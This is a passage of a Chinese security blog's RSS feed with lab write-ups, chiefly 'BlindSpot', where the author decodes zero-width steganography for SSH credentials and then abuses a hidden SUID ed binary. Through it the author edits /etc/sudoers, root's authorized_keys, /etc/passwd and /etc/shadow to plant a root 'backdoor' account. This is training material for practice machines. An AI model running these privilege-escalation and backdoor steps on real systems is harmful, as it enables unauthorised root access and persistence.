version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;jiali@Ace:/var/www$ ls -al&#10;total 16&#10;drwxr-xr-x 3 root root 4096 Apr 19 09:49 .&#10;drwxr-xr-x 12 root root 4096 Apr 1 2025 ..&#10;-rw------- 1 www-data www-data 26 Apr 19 09:49 ...&#10;drwxr-xr-x 3 www-data www-data 4096 Apr 19 09:56 html&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;我们可以看到在&lt;code&gt;/var/www&lt;/code&gt;目录下存在&lt;code&gt;...&lt;/code&gt;隐藏文件，但它是www-data权限的，利用方法：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/ace/image-20260530112713897.png' alt="image-20260530112713897" height="377" width="1268"&gt;&lt;/p&gt;&#10;&lt;p&gt;利用蚁剑连接：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/ace/image-20260530112738084.png' alt="image-20260530112738084" height="203" width="1513"&gt;&lt;/p&gt;&#10;&lt;p&gt;就可以获取到root的凭证了。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="总结"&gt;&lt;span&gt;总结&lt;/span&gt;&#10; &lt;a href="#%e6%80%bb%e7%bb%93" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;学习韭菜叶片的一些思路：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/ace/image-20260530114514546.png' alt="image-20260530114514546" height="857" width="2445"&gt;&lt;/p&gt;&#10;&lt;p&gt;我是真的没想到：还可以这样查看最新的漏洞，快速定位。&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/ace/image-20260530115143446.png' alt="image-20260530115143446" height="1238" width="1949"&gt;&lt;/p&gt;&#10;&lt;p&gt;对于登录框的黑盒测试，我的方法还是太少了。&lt;/p&gt;&#10;</description></item><item><title>BlindSpot</title><link>https://blog.1urkers.cn/p/blindspot/</link><pubDate>Fri, 29 May 2026 10:20:54 +0800</pubDate><guid>https://blog.1urkers.cn/p/blindspot/</guid><category domain="https://blog.1urkers.cn/categories/%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%9B%98/">靶机复盘</category><description>&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;作者&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;难度&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;平台&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Sublarge&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;baby&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;mazesec&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h2 class="heading-element" id="信息收集"&gt;&lt;span&gt;信息收集&lt;/span&gt;&#10; &lt;a href="#%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;╭─ ~ ─────────────────────────────────────────────────────────────────── ✔  root@kali  04:33:58 &#10;╰─ nmap 192.168.56.122&#10;Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-28 04:35 -0400&#10;Nmap scan report for 192.168.56.122&#10;Host is up (0.0018s latency).&#10;Not shown: 998 closed tcp ports (reset)&#10;PORT STATE SERVICE&#10;22/tcp open ssh&#10;80/tcp open http&#10;MAC Address: 08:00:27:DD:F7:2F (Oracle VirtualBox virtual NIC)&#10;&#10;Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds&#10;&#10;╭─ ~ ─────────────────────────────────────────────────────────────────── ✔  root@kali  04:35:49 &#10;╰─ nmap 192.168.56.122 -p22,80 -sC -sV&#10;Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-28 04:35 -0400&#10;Nmap scan report for 192.168.56.122&#10;Host is up (0.0014s latency).&#10;&#10;PORT STATE SERVICE VERSION&#10;22/tcp open ssh OpenSSH 10.3 (protocol 2.0)&#10;80/tcp open http Werkzeug httpd 3.1.8 (Python 3.14.3)&#10;|_http-title: Site doesn&amp;#39;t have a title (text/html; charset=utf-8).&#10;|_http-server-header: Werkzeug/3.1.8 Python/3.14.3&#10;MAC Address: 08:00:27:DD:F7:2F (Oracle VirtualBox virtual NIC)&#10;&#10;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&#10;Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;访问页面发现：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;╭─ ~ ────────────────────────────────────────────────────────────── ✔  8s  root@kali  04:36:07 &#10;╰─ curl -i http://192.168.56.122&#10;HTTP/1.1 200 OK&#10;Server: Werkzeug/3.1.8 Python/3.14.3&#10;Date: Thu, 28 May 2026 08:53:34 GMT&#10;Content-Type: text/html; charset=utf-8&#10;Content-Length: 616&#10;Connection: close&#10;&#10;Flag is not here​‍‍​​‍‍​​‍‍​‍‍​​​‍‍​​​​‍​‍‍​​‍‍‍​‍‍‍‍​‍‍​​‍‍​​​‍​‍‍​‍‍‍​​‍‍‍​‍‍​​​‍‍​​​‍​​‍‍​‍​‍​​‍‍​​​‍​‍‍​​​‍​​​‍‍​​​‍​​‍‍​​‍‍​​‍‍‍​‍​​‍‍​‍​​‍​‍‍​‍‍‍​​‍‍‍​‍‍​​‍‍​‍​​‍​‍‍‍​​‍‍​‍‍​‍​​‍​‍‍​​​‍​​‍‍​‍‍​​​‍‍​​‍​‍​‍‍‍‍‍​‍ &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;可以看到后面存在内容。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;╭─ /tmp/123 ──────────────────────────────────────────────────────────── ✔  root@kali  04:59:24 &#10;╰─ curl http://192.168.56.122 &amp;gt; flag.txt&#10;&#10;╭─ /tmp/123 ──────────────────────────────────────────────────────── INT ✘  root@kali  05:00:16 &#10;╰─ cat -A flag.txt&#10;Flag is not hereM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^M# &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;猜测是零宽字节隐写，零宽字符隐写的原理就是：&lt;code&gt;把数据转换为二进制数据，'\u200b'取代二进制里的 0，'\u200d'取代二进制里面的1&lt;/code&gt;，下面是脚本：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;ZERO = &amp;#39;\u200b&amp;#39;&#10;ONE = &amp;#39;\u200d&amp;#39;&#10;&#10;def decode(text):&#10; binary = &amp;#39;&amp;#39;&#10; for ch in text:&#10; if ch == ZERO:&#10; binary &amp;#43;= &amp;#39;0&amp;#39;&#10; elif ch == ONE:&#10; binary &amp;#43;= &amp;#39;1&amp;#39;&#10;&#10; charslist = []&#10;&#10; for i in range(0, len(binary), 8):&#10; byte = int(binary[i:i&amp;#43;8], 2)&#10; charslist.append(chr(byte))&#10;&#10; return &amp;#39;&amp;#39;.join(charslist)&#10;&#10;if __name__ == &amp;#39;__main__&amp;#39;:&#10; with open(&amp;#39;flag.txt&amp;#39;, &amp;#39;r&amp;#39;) as f:&#10; text1 = f.read()&#10; print(decode(text1))&#10;&#10;# 运行结果： &#10;╭─ /tmp/123 ─────────────────────────────────────────────────────── ✔  5s  root@kali  05:38:39 &#10;╰─ python zeroone.py &#10;flag{1nv151b13:invisible}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;得到了 ssh 凭证：&lt;code&gt;1nv151b13:invisible&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="ssh-初始访问"&gt;&lt;span&gt;SSH 初始访问&lt;/span&gt;&#10; &lt;a href="#ssh-%e5%88%9d%e5%a7%8b%e8%ae%bf%e9%97%ae" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;╭─ /tmp/123 ──────────────────────────────────────────────────────────── ✔  root@kali  06:25:58 &#10;╰─ ssh 1nv151b13@192.168.56.122 -p 22&#10;The authenticity of host &amp;#39;192.168.56.122 (192.168.56.122)&amp;#39; can&amp;#39;t be established.&#10;ED25519 key fingerprint is: SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI&amp;#43;JvbwgV/iCsWY&#10;This host key is known by the following other names/addresses:&#10; ~/.ssh/known_hosts:14: [hashed name]&#10; ~/.ssh/known_hosts:23: [hashed name]&#10; ~/.ssh/known_hosts:24: [hashed name]&#10; ~/.ssh/known_hosts:26: [hashed name]&#10;Are you sure you want to continue connecting (yes/no/[fingerprint])? yes&#10;Warning: Permanently added &amp;#39;192.168.56.122&amp;#39; (ED25519) to the list of known hosts.&#10;1nv151b13@192.168.56.122&amp;#39;s password: &#10; _ &#10;__ _____| | ___ ___ _ __ ___ ___ &#10;\ \ /\ / / _ \ |/ __/ _ \| &amp;#39;_ ` _ \ / _ \&#10; \ V V / __/ | (_| (_) | | | | | | __/&#10; \_/\_/ \___|_|\___\___/|_| |_| |_|\___|&#10;&#10;1nv151b13@BlindSpot:~$ ls -al&#10;total 12&#10;drwxr-sr-x 2 1nv151b13 1nv151b13 4096 May 17 22:33 .&#10;drwxr-xr-x 3 root root 4096 May 17 22:12 ..&#10;-rw-r--r-- 1 root 1nv151b13 44 May 17 22:33 user.txt&#10;1nv151b13@BlindSpot:~$ cat user.txt&#10;flag{user-1f1ae47bd96611161d31fc093e6100ac}&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="系统内部信息收集"&gt;&lt;span&gt;系统内部信息收集&lt;/span&gt;&#10; &lt;a href="#%e7%b3%bb%e7%bb%9f%e5%86%85%e9%83%a8%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;1nv151b13@BlindSpot:~$ find / -perm -4000 -exec ls -al {} \; 2&amp;gt;/dev/null&#10;-rwsr-xr-x 1 root root 30768 May 16 00:20 /bin/umount&#10;---s--x--x 1 root root 14224 Jan 10 23:38 /bin/bbsuid&#10;-rwsr-xr-x 1 root root 38960 May 16 00:20 /bin/mount&#10;-rwsr-xr-x 1 root root 51504 May 17 22:22 /usr/bin/ &#10;-rwsr-xr-x 1 root root 26824 Apr 10 03:19 /usr/bin/expiry&#10;-rwsr-xr-x 1 root root 48464 Apr 10 03:19 /usr/bin/chsh&#10;-rwsr-xr-x 1 root root 80552 Apr 10 03:19 /usr/bin/chage&#10;-rwsr-xr-x 1 root root 88968 Apr 10 03:19 /usr/bin/passwd&#10;-rwsr-xr-x 1 root root 67680 Apr 10 03:19 /usr/bin/gpasswd&#10;-rwsr-xr-x 1 root root 199632 Jan 23 13:06 /usr/bin/sudo&#10;-rwsr-xr-x 1 root root 50032 Apr 10 03:19 /usr/bin/chfn&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;看到一个可疑文件：&lt;code&gt;/usr/bin/ &lt;/code&gt;。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;1nv151b13@BlindSpot:~$ strings &amp;#39;/usr/bin/ &amp;#39;&#10;# 发现了一些内容：&#10;Shell access restricted&#10;Directory access restricted&#10;Newline character not allowed in file names&#10;Control characters not allowed in file names&#10;Memory exhausted.&#10;GNU ed is a line-oriented text editor. It is used to create, display,&#10;modify and otherwise manipulate text files, both interactively and via&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;/usr/bin/ &lt;/code&gt; 看起来像是 &lt;code&gt;ed&lt;/code&gt; 二进制文件。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;1nv151b13@BlindSpot:~$ md5sum &amp;#34;/usr/bin/ &amp;#34; &amp;#34;/bin/ed&amp;#34;&#10;380269341cc778c4b3b80ddcefba7ef7 /usr/bin/ &#10;380269341cc778c4b3b80ddcefba7ef7 /bin/ed&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;验证两个文件是否内容相同，利用hash值验证，还可以使用&lt;code&gt;sha1sum sha256sum&lt;/code&gt;。&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;ed&lt;/code&gt;的shell提权无法使用，会降级。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="权限提升"&gt;&lt;span&gt;权限提升&lt;/span&gt;&#10; &lt;a href="#%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/blindspot/image-20260528184407194.png' alt="image-20260528184407194" height="672" width="1554"&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;ed&lt;/code&gt; 有写入的能力，可以修改&lt;code&gt;/etc/passwd 、/etc/shadow、/root/.ssh/authorized_keys&lt;/code&gt;，获取root权限：&lt;/p&gt;&#10;&lt;p&gt;方法一：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;1nv151b13@BlindSpot:~$ &amp;#39;/usr/bin/ &amp;#39; /etc/sudoers&#10;5053&#10;a&#10;1nv151b13 ALL=(ALL:ALL) NOPASSWD: ALL&#10;.&#10;w&#10;5081&#10;q&#10;1nv151b13@BlindSpot:~$ sudo su&#10;root@BlindSpot:/home/1nv151b13# &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;方法二：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;1nv151b13@BlindSpot:~/.ssh$ &amp;#39;/usr/bin/ &amp;#39; /root/.ssh/authorized_keys&#10;81&#10;a&#10;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb&amp;#43;TuN3f root@kali&#10;.&#10;w&#10;172&#10;q&#10;&#10;╭─ ~/.ssh ────────────────────────────────────────────────────────────── ✔  root@kali  06:53:39 &#10;╰─ ssh root@192.168.56.122 -p 22&#10; _ &#10;__ _____| | ___ ___ _ __ ___ ___ &#10;\ \ /\ / / _ \ |/ __/ _ \| &amp;#39;_ ` _ \ / _ \&#10; \ V V / __/ | (_| (_) | | | | | | __/&#10; \_/\_/ \___|_|\___\___/|_| |_| |_|\___|&#10;&#10;root@BlindSpot:~# &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;方法三：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;1nv151b13@BlindSpot:~/.ssh$ &amp;#39;/usr/bin/ &amp;#39; /etc/shadow&#10;645&#10;a&#10;backdoor:$6$xqxSEc.pyQksUhEa$IfVc1QV92zzeBy3etMOMpuN2zW5nPPH5FYksFhIa/LisPbWVQ8Q/ErXOULi7M2vEPz2Gku8aC9AcLrK5ou5C1.:20590:0:99999:7:::&#10;.&#10;w&#10;780&#10;q&#10;1nv151b13@BlindSpot:~/.ssh$ &amp;#39;/usr/bin/ &amp;#39; /etc/passwd&#10;846&#10;a&#10;backdoor:x:0:0:root:/root:/bin/bash&#10;.&#10;w&#10;886&#10;q&#10;C:\Users\325[hidden]&amp;gt;ssh backdoor@192.168.56.122 -p 22&#10;backdoor@192.168.56.122&amp;#39;s password:&#10; _&#10;__ _____| | ___ ___ _ __ ___ ___&#10;\ \ /\ / / _ \ |/ __/ _ \| &amp;#39;_ ` _ \ / _ \&#10; \ V V / __/ | (_| (_) | | | | | | __/&#10; \_/\_/ \___|_|\___\___/|_| |_| |_|\___|&#10;&#10;root@BlindSpot:~#&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="总结"&gt;&lt;span&gt;总结&lt;/span&gt;&#10; &lt;a href="#%e6%80%bb%e7%bb%93" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;靶机反应出我的问题：&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;sudo : 只停留在&lt;code&gt;sudo -l&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;suid : 会搜索，但是无法准确找出有问题的 suid 二进制文件&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;问题已解决&lt;/p&gt;&#10;</description></item><item><title>FUXA 复盘</title><link>https://blog.1urkers.cn/p/fuxa/</link><pubDate>Tue, 26 May 2026 19:34:26 +0800</pubDate><guid>https://blog.1urkers.cn/p/fuxa/</guid><category domain="https://blog.1urkers.cn/categories/%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%9B%98/">靶机复盘</category><description>&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;作者&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;难度&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;平台&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;hel2zy&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;medium(根据自己的情况定的)&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;mazesec&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h2 class="heading-element" id="信息收集"&gt;&lt;span&gt;信息收集&lt;/span&gt;&#10; &lt;a href="#%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 